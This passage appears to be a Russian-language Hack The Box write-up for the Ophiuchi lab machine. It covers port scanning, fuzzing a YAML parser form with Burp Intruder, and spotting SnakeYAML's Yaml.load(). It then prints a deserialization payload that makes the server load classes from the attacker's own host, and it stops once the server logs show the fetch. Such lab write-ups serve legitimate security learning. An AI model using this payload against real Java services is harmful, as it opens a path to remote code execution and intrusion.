Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье я покажу прохождение машины Ophiuchi с площадки Hack The Box. На ее примере мы сначала попентестим SnakeYAML, а затем будем модифицировать приложение на Go, которое компилируется в WebAssembly.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем адрес машины в файл hosts
, чтобы обращаться к ней по имени.
10.10.10.227 ophiuchi.htb
И начинаем традиционно со сканирования портов. В этот раз я буду использовать быстрый сканер RustScan. Сначала он найдет все открытые порты, а потом передаст знаменитому Nmap для сканирования со скриптами (просто укажем опцию -A).
rustscan 10.10.10.227 -- -A
Обнаруженные с помощью RustScan открытые порты
Сканирование Nmap
Мы нашли две службы: SSH (порт 22) и веб‑сервер Apache Tomcat (порт 8080). На SSH сейчас можно только брутфорсить учетные данные, но это не комильфо, тем более при прохождении лабораторных машин. Поэтому нам остается искать точку входа на сайте.
При переходе на сайт нас встретила форма парсера разметки YAML.
Форма Online YAML Parser
Типичная проблема любых парсеров — неправильная обработка служебных символов, которая может привести к уязвимостям. Чтобы проверить, нет ли здесь чего‑то подобного, отправим в форму ввода все печатаемые символы по очереди. Я буду делать это через Burp. Первым делом перехватим запрос в Burp и отправим его в Intruder. На вкладке Payload Position укажем тип атаки Sniper, изменим значение параметра data
, применив пустую нагрузку.
Вкладка Payload Position
Далее на вкладке Payload Options загрузим список печатаемых символов, к примеру этот, из набора словарей SecLists. И выполним перебор, нажав кнопку Start Attack. После завершения атаки сортируем результаты по столбцу Length так, чтобы сначала шли самые большие ответы.
Вкладка Payload Options
Результат перебора символа
Если отправлять обычные символы, то ответ всегда будет одинаковый.
Но в ответ на некоторые запросы мы получаем ошибки. Для нас это хорошо, так как сообщения могут раскрывать дополнительную информацию о целевом приложении, к примеру используемые технологии. И действительно: в тексте ошибки видим упоминание SnakeYAML, и, что более интересно, ошибка происходит в методе load
.
info
SnakeYAML — процессор разметки YAML для программ на Java.
Текст ошибки, получаемой при отправке символа процента
То есть в данном случае пользовательский ввод передается в метод Yaml.load()
, который конвертирует документ YAML в объект Java, что потенциально может привести к уязвимости десериализации, а это, в свою очередь, открывает путь к удаленному выполнению кода (RCE).
Дальше я без труда нашел готовую нагрузку, которая эксплуатирует уязвимость в десериализации SnakeYAML (PDF). Смысл уязвимости в том, что мы можем спровоцировать загрузку класса со своего хоста.
Давай отправим тестовую нагрузку и посмотрим на результат. Чтобы поймать отклик, запустим простой локальный веб‑сервер Python 3.
python3 -m http.server 8000
А теперь отправляем следующую нагрузку. После отправки в логах веб‑сервера увидим попытку загрузить файлы.
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.14.88:8000/"] ]]]
Поиск описанных уязвимостей в Online YAML Parser
В окне браузера наблюдаем уже знакомое нам сообщение, а вот в логах веб‑сервера видим две записи, одна из которых — запрос HEAD
. То есть наше предположение оказалось верным, мы можем добиться загрузки кода с нашего сервера.
Логи локального веб‑сервера Python
Источник: xakep.ru